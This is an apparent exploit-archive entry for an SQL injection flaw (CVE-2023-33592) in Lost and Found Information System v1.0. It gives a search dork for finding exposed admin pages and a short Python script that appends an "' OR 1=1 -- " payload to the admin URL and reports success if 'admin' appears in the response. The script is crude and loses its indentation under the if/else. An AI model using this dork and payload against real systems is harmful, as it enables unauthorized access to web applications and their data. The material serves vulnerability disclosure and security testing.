Lost and Found Information System version 1.0 suffers from a remote SQL injection vulnerability.
26d0f1deb4fda9d9af13364671a7e8c2b6885870a63d654ccb53313326691e2a
# Exploit Title: Lost and Found Information System v1.0 - SQL Injection
# Date: 2023-06-30
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : webapps
# Dork : /php-lfis/admin/?page=system_info/contact_information
# Tested on: Windows/Linux
# CVE : CVE-2023-33592
import requests
# URL of the vulnerable component
url = "http://example.com/php-lfis/admin/?page=system_info/contact_information"
# Injecting a SQL query to exploit the vulnerability
payload = "' OR 1=1 -- "
# Send the request with the injected payload
response = requests.get(url + payload)
# Check if the SQL injection was successful
if "admin" in response.text:
print("SQL injection successful!")
else:
print("SQL injection failed.")